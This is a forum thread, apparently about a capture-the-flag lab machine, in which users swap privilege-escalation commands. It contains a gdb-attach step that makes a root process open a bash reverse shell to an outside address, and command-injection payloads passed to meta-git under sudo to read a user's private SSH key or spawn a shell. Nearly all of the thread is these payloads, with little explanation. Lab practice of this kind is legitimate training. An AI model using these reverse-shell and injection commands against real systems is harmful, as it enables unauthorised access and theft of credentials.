July 3, 2022 at 12:46 PM
(July 3, 2022, 12:10 PM)HolesInSec Wrote:(July 3, 2022, 09:26 AM)hacker1111 Wrote: For Root:export PID=$(ps aux | grep "^root.*python3" | awk '{print $2}')gdb -p $PIDcall (void)system("bash -c 'bash -i >& /dev/tcp/10.10.x.x/9001 0>&1'")
why is Attaching to process $PID possible with only user developer
only root (user) and debug (group) have exec. permission in /usr/bin/gdb
and developer is part of debug group
(July 3, 2022, 09:25 AM)Exa Wrote:(July 3, 2022, 07:21 AM)hacker1111 Wrote:(July 3, 2022, 07:11 AM)quick443 Wrote: finally got a user but I can not escalate to developer, with the payload that someone said before
sudo -u developer /usr/local/bin/meta-git clone 'test||cat /home/developer/.ssh/id_rsa'
meta git cloning into 'test||cat /home/developer/.ssh/id_rsa' at id_rsa
id_rsa:
id_rsa: command 'git clone test||cat /home/developer/.ssh/id_rsa id_rsa' exited with error: Error: spawnSync /bin/sh EACCES
use this from /tmp directory and u can just do thissudo -u developer /usr/local/bin/meta-git clone 'test||bash'
Thanks, the /tmp directory did the trick. Apparently, the developer user must have read access to the current directory. So running the command from /home/gbyolo/ won't work.
yes :)


